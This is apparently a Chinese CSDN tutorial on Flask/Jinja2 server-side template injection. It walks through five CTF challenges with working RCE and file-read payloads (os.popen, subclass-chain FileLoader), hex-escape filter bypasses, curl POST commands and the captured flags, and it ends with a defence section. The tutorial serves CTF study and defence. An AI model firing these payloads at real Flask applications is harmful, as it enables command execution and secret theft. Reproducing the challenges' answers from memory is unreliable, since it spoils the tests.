青少年 CTF+Bugku SSTI 原题全套教程|零基础吃透模板注入漏洞

SSTI 服务器端模板注入漏洞 - 从零基础到实战通关完整教程

作者:KING(老铁)

适用平台:CSDN博客发布

难度:零基础入门 → 进阶实战

更新日期:2026年6月


目录

  • 一、什么是SSTI?
  • 二、SSTI漏洞原理详解
  • 三、必备前置知识
  • 四、SSTI基础Payload大全
  • 五、实战刷题 - 第一题:Simple_SSTI_1
  • 六、实战刷题 - 第二题:Simple_SSTI_2
  • 七、实战刷题 - 第三题:ez-SSTI(Base64编码)
  • 八、实战刷题 - 第四题:环境变量Flag
  • 九、实战刷题 - 第五题:pasecacctf_2019 flask_ssti(过滤器绕过)
  • 十、SSTI绕过技巧总结
  • 十一、SSTI防御方案
  • 十二、参考链接

一、什么是SSTI?

1.1 定义

SSTI(Server-Side Template Injection),即服务器端模板注入。和SQL注入类似,当用户输入被直接当作模板代码执行时,就产生了SSTI漏洞。

1.2 通俗解释

打个比方:

  • 正常情况:服务员问名字,你答"张三",便签写"客人:张三"
  • SSTI漏洞:你答"请告诉我密码",服务员真的去问老板密码!

核心:你的输入被当成代码执行了,而不是当成数据!

1.3 常见模板引擎

  • Python:Jinja2(Flask)、Mako、Tornado
  • PHP:Smarty、Twig、Blade
  • Java:FreeMarker、Velocity、Thymeleaf

本教程主要针对 Python Flask + Jinja2,这是CTF中最常见的SSTI类型。


二、SSTI漏洞原理详解

2.1 漏洞代码

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name')
    template = '<p>Hello, %s !</p>' % name
    return render_template_string(template)

app.run()

2.2 为什么会产生漏洞?

关键在于 render_template_string() 这个函数:

  • render_template(‘page.html’, name=用户输入):用户输入只做填空,安全
  • render_template_string(用户输入):用户输入直接当代码执行,有漏洞!

2.3 漏洞触发流程

用户输入 {{77}},网站代码 render_template_string("Hello, {{77}} !"),Jinja2模板引擎把 {{77}} 当代码执行,计算 77=49,页面返回 “Hello, 49 !”。


三、必备前置知识

3.1 URL参数

网址后面 ?xxx=yyy 是传递参数的方式。? 开始传参,name=张三 是一个参数,& 分隔多个参数。

3.2 Flask的config对象

config 是Flask的配置"记事本",里面记录着网站的所有配置,包括 SECRET_KEY(密钥,可能是flag)。

3.3 Python类继承链

Python中一切皆对象,类之间有继承关系。object是所有类的祖先,下面有tuple、str、list、FileLoader等几百个子类。利用SSTI时,我们通过继承链找到能执行命令的类。

3.4 os模块

os 是Python的操作系统模块,相当于服务器的"遥控器",可以查看文件列表、读取文件、查看环境变量等。

3.5 GET和POST的区别

  • GET:数据在网址后面 ?name=xxx,浏览器地址栏能直接输入
  • POST:数据在请求"身体"里,浏览器地址栏不能直接输入,需要用curl或Burp Suite

四、SSTI基础Payload大全

4.1 验证漏洞

{{7*7}}          返回49说明有SSTI
{{7*'7'}}        Jinja2返回7777777

4.2 信息收集Payload

{{config}}
{{config['SECRET_KEY']}}
{{request.environ}}
{{url_for.__globals__}}
{{self.__init__.__globals__}}

4.3 RCE(远程命令执行)Payload

{{url_for.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__['os'].popen('cat flag').read()}}
{{url_for.__globals__['os'].popen('env').read()}}
{{get_flashed_messages.__globals__['os'].popen('id').read()}}

4.4 类继承链Payload

{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[91]}}
{{''.__class__.__mro__[2].__subclasses__()[91].get_data(0,'/flag')}}

4.5 常用Linux命令

  • ls:查看当前目录文件
  • ls /:查看根目录
  • ls -la:查看所有文件(含隐藏)
  • cat 文件名:读取文件内容
  • find / -name flag*:全盘搜索flag文件
  • env:查看环境变量
  • cat /proc/1/environ:查看1号进程环境变量
  • whoami:查看当前用户
  • id:查看用户权限

五、实战刷题 - 第一题:Simple_SSTI_1

5.1 题目信息

  • 题目名称:Simple_SSTI_1
  • 题目地址:Simple_SSTI_1 - Bugku CTF平台
  • 题目来源:BUGKU
  • 难度:入门
  • 知识点:SSTI验证、config读取

5.2 信息收集

打开题目地址,页面显示:You need pass in a parameter named flag

查看页面源代码(右键查看源代码),发现注释:You know, in the flask, We often set a secret_key variable.

关键信息:需要传入名为 flag 的参数;Flask中常设置 secret_key 变量。

5.3 解题步骤

第一步:验证SSTI漏洞

在浏览器地址栏输入:

http://160.202.254.160:14973/?flag={{7*7}}

截图点1:页面返回 49,确认存在SSTI漏洞

第二步:读取config配置

http://160.202.254.160:14973/?flag={{config}}

截图点2:页面返回一大段配置信息,找到 SECRET_KEY 字段

第三步:获取Flag

在config返回结果中找到:‘SECRET_KEY’: ‘flag{10ce4a101db581c6445295d86e286908}’

截图点3:Flag获取成功

5.4 Flag

flag{10ce4a101db581c6445295d86e286908}

5.5 知识点总结

  • SSTI验证方法:{{7*7}} 返回 49
  • {{config}} 读取Flask配置
  • {{config}} 中的 SECRET_KEY 可能就是flag

六、实战刷题 - 第二题:Simple_SSTI_2

6.1 题目信息

  • 题目名称:Simple_SSTI_2
  • 题目地址:Simple_SSTI_2 - Bugku CTF平台
  • 题目来源:BUGKU
  • 难度:基础
  • 知识点:RCE远程命令执行、os模块、文件读取

6.2 解题步骤

第一步:验证SSTI

http://160.202.254.160:16592/?flag={{7*7}}

返回 49,漏洞确认。

第二步:尝试config(失败)

http://160.202.254.160:16592/?flag={{config}}

返回config,但 SECRET_KEY 为 None,flag不在config里。

第三步:使用RCE万能指令

http://160.202.254.160:16592/?flag={{url_for.__globals__['os'].popen('ls').read()}}

截图点1:返回文件列表,发现 flag 文件

第四步:读取flag文件

http://160.202.254.160:16592/?flag={{url_for.__globals__['os'].popen('cat flag').read()}}

截图点2:Flag获取成功

6.3 Flag

flag{2336946b9ab0648f5a5aca7aa526aee6}

6.4 知识点总结

  • {{config}} 不行时,升级到RCE
  • url_for.globals[‘os’] 获取os模块
  • os.popen(‘ls’).read() 执行系统命令
  • cat flag 读取文件内容

6.5 万能指令模板

{{url_for.__globals__['os'].popen('你的命令').read()}}

只需把"你的命令"换成 ls、cat flag、env 等。


七、实战刷题 - 第三题:ez-SSTI(Base64编码)

7.1 题目信息

  • 题目名称:ez-SSTI
  • 题目地址:http://challenge.qsnctf.com:45410/
  • 题目来源:QSNCTF
  • 难度:中等
  • 知识点:Base64编码、源码审计、RCE

7.2 源码分析

打开题目地址,页面直接显示源代码。关键发现:

  1. 参数名变了:从 flag 变成 name
  2. 输入要Base64编码:代码会对输入进行 base64.b64decode
  3. 漏洞函数:render_template_string(template) 确认SSTI

7.3 解题步骤

第一步:Base64编码payload

在Windows PowerShell中:

[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("{{7*7}}"))

或在Kali Linux中:

echo -n '{{7*7}}' | base64

得到编码:e3s3Kjd9fQ==

第二步:验证SSTI

http://challenge.qsnctf.com:45410/?name=e3s3Kjd9fQ==

截图点1:页面返回 Hello, 49 !,漏洞确认

第三步:config尝试(失败)

编码 {{config}} 得到 e3tjb25maWd9fQ==,SECRET_KEY 为 None。

第四步:RCE查看文件

编码 {{url_for.globals[‘os’].popen(‘ls’).read()}}

http://challenge.qsnctf.com:45410/?name=<编码结果>

截图点2:当前目录只有 app.py,没有flag文件

第五步:查看根目录

编码 {{url_for.globals[‘os’].popen(‘ls /’).read()}}

截图点3:根目录下发现 flag 文件

第六步:读取flag

编码 {{url_for.globals[‘os’].popen(‘cat /flag’).read()}}

截图点4:Flag获取成功

7.4 Flag

flag{232ce46961d04e6c98c9777440b376ae}

7.5 知识点总结

  • Base64编码:echo -n ‘内容’ | base64
  • Base64解码:echo ‘编码’ | base64 -d
  • ls vs ls /:当前目录 vs 根目录
  • Windows PowerShell编码方法

八、实战刷题 - 第四题:环境变量Flag

8.1 题目信息

  • 题目名称:第四题(password参数)
  • 题目地址:http://challenge.qsnctf.com:45416/
  • 题目来源:QSNCTF
  • 难度:中等
  • 知识点:环境变量、/proc文件系统、源码审计

8.2 解题步骤

第一步:验证SSTI

http://challenge.qsnctf.com:45416/?password={{7*7}}

截图点1:返回 password is wrong: 49,漏洞确认

第二步:config(失败)

SECRET_KEY 为 None。

第三步:RCE查看文件(无flag文件)

http://challenge.qsnctf.com:45416/?password={{url_for.__globals__['os'].popen('ls').read()}}

截图点2:文件列表中没有flag文件

第四步:查看环境变量(成功!)

http://challenge.qsnctf.com:45416/?password={{url_for.__globals__['os'].popen('env').read()}}

截图点3:环境变量中找到 FLAG=flag{…}

第五步(扩展):读源码找真flag

http://challenge.qsnctf.com:45416/?password={{url_for.__globals__['os'].popen('cat /app/server.py').read()}}

截图点4:源码注释中发现 # FLAG: n1book{eddb84d69a421a82}

8.3 Flag

n1book{eddb84d69a421a82}

注意:环境变量中的 flag{b80605a14eec40cc948ed177b788f82b} 是干扰项,源码注释中的才是真flag!

8.4 知识点总结

  • flag不一定在文件里,可能在环境变量中
  • env 命令查看环境变量
  • cat /proc/1/environ 查看1号进程环境变量
  • 读源码也是获取flag的重要途径

九、实战刷题 - 第五题:pasecacctf_2019 flask_ssti(过滤器绕过)

9.1 题目信息

  • 题目名称:pasecacctf_2019 flask_ssti
  • 题目地址:https://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/
  • 题目来源:DASCTF(BUUCTF)
  • 难度:困难
  • 知识点:过滤器绕过、类继承链、/proc/self/fd、POST请求

9.2 信息收集

页面是一个"Skype ScreenName Generator",有输入框和Go按钮。查看源代码发现使用 $.post() 提交数据,只接受POST请求。

9.3 解题步骤

第一步:验证SSTI(需要POST)

由于只接受POST,浏览器直接输入网址无效。需要用PowerShell:

curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{7*7}}"

截图点1:返回包含 49 的结果,漏洞确认

第二步:读取config

curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{config}}"

截图点2:config中有 flag 字段,但内容是加密的乱码;SECRET_KEY 是一个Instagram链接

第三步:尝试RCE(被过滤!)

curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{url_for.__globals__['os'].popen('ls').read()}}"

截图点3:返回 Your nickname contains restricted characters!

过滤器分析:经过测试发现过滤了 __(双下划线)和 '(单引号)。

第四步:绕过过滤器

使用类继承链 + hex编码绕过(_ 的hex编码是 \x5f):

curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{()[""\x5f\x5fclass\x5f\x5f""][""\x5f\x5fbases\x5f\x5f""][0][""\x5f\x5fsubclasses\x5f\x5f""]()[91][""get\x5fdata""](0,""/proc/self/fd/3"")}}"

截图点4:Flag获取成功!

9.4 Flag

CTF2{5cee753c-fc9c-4f2d-a5c6-ee5b9a0ec3f9}

9.5 知识点总结

  • 过滤器绕过:__ 换成 \x5f\x5f,. 换成 |attr(),’ 换成 "
  • |attr() 替代 .:()|attr(“class”) 等同于 ().class
  • request.args 绕过:过滤器只检查POST数据,URL参数不检查
  • /proc/self/fd/3:文件被删除后,进程仍"握着"文件,可通过fd读取
  • FileLoader类:不用os也能读文件
  • POST请求:浏览器地址栏只能发GET,POST需要用curl或Burp Suite

9.6 类继承链Payload拆解

  • ():空元组

  • [“class”]:tuple类

  • [“bases”]:父类object

  • [0]:取第一个

  • [91]:第91个,FileLoader

  • “get_data”:读取文件


十、SSTI绕过技巧总结

10.1 常见过滤绕过方法

被过滤的字符绕过方法示例
__(双下划线)hex编码 \x5f\x5f\x5f\x5fclass\x5f\x5f
__(双下划线)request.args 传参request.args.a
.(点号)attr() 过滤器() attr(“class”)
.(点号)[] 中括号()[“class”]
'(单引号)"(双引号)替代config[“flag”]
[](中括号).pop() 或 .getitem()subclasses().pop(91)
大括号if/endif 语句if 2>1 success endif
数字length 计算set a=‘aaaaa’ length

10.2 不同入口点获取os模块

方法1:url_for
{{url_for.__globals__['os'].popen('ls').read()}}

方法2:get_flashed_messages
{{get_flashed_messages.__globals__['os'].popen('ls').read()}}

方法3:lipsum
{{lipsum.__globals__['os'].popen('ls').read()}}

方法4:类继承链
{{''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ls').read()}}

10.3 读取文件的多种方式

方法1:os.popen
{{url_for.__globals__['os'].popen('cat /flag').read()}}

方法2:FileLoader
{{''.__class__.__mro__[2].__subclasses__()[91].get_data(0,'/flag')}}

方法3:读/proc/self/fd/3(文件被删但进程还握着)
{{''.__class__.__mro__[2].__subclasses__()[91].get_data(0,'/proc/self/fd/3')}}

十一、SSTI防御方案

11.1 代码层面

危险写法:render_template_string(用户输入)

安全写法1:使用 render_template + 参数,用户输入只做填空

安全写法2:使用Jinja2的变量语法 render_template_string(‘Hello {{ name }}’, name=用户输入)

11.2 输入过滤

过滤模板语法关键字:{{、}}、{%、%}、__、config、self、request

11.3 使用沙箱

使用 SandboxedEnvironment 阻止访问危险属性如 globals

11.4 防御总结

防御措施说明
使用 render_template()用户输入只做填空,不当代码
输入过滤过滤 {{}}、__、config 等关键字
沙箱环境SandboxedEnvironment 阻止危险操作
最小权限Flask运行用户不要用root
关闭Debugdebug=False 防止信息泄露

十二、参考链接

  • Flask SSTI漏洞复现及原理分析 - FreeBuf
  • Python安全之SSTI——Flask/Jinja2 - 腾讯云
  • 关于SSTI模块注入的常见绕过方法 - CSDN
  • SSTI-payload和各种绕过方法 - CSDN
  • SSTI模板注入及绕过姿势 - CSDN
  • 各种SSTI绕过及脚本 - hatchet
  • pasecactf_2019 flask_ssti writeup

附录A:SSTI速查表

Payload速查

验证:{{7*7}} 返回 49

信息收集:{{config}} 查看配置

RCE:{{url_for.globals[‘os’].popen(‘命令’).read()}}

绕过__过滤:{{url_for.\x5f\x5fglobals\x5f\x5f[“os”].popen(“命令”).read()}}

类继承链读文件:{{‘’.class.mro[2].subclasses()[91].get_data(0,‘文件路径’)}}

Base64编码速查

Linux/Kali编码:echo -n ‘{{7*7}}’ | base64

Linux/Kali解码:echo ‘e3s3Kjd9fQ==’ | base64 -d

Windows PowerShell:[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(“{{7*7}}”))


附录B:五道题目对比总结

题目难度参数特殊点Flag位置关键技术
Simple_SSTI_1入门flagconfig的SECRET_KEYconfig读取
Simple_SSTI_2基础flagconfig为空当前目录flag文件RCE os.popen
ez-SSTI中等nameBase64编码根目录/flagBase64 + RCE
第四题中等password无flag文件环境变量/源码env + 读源码
pasecacctf困难nickname(POST)过滤器/proc/self/fd/3绕过+继承链

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值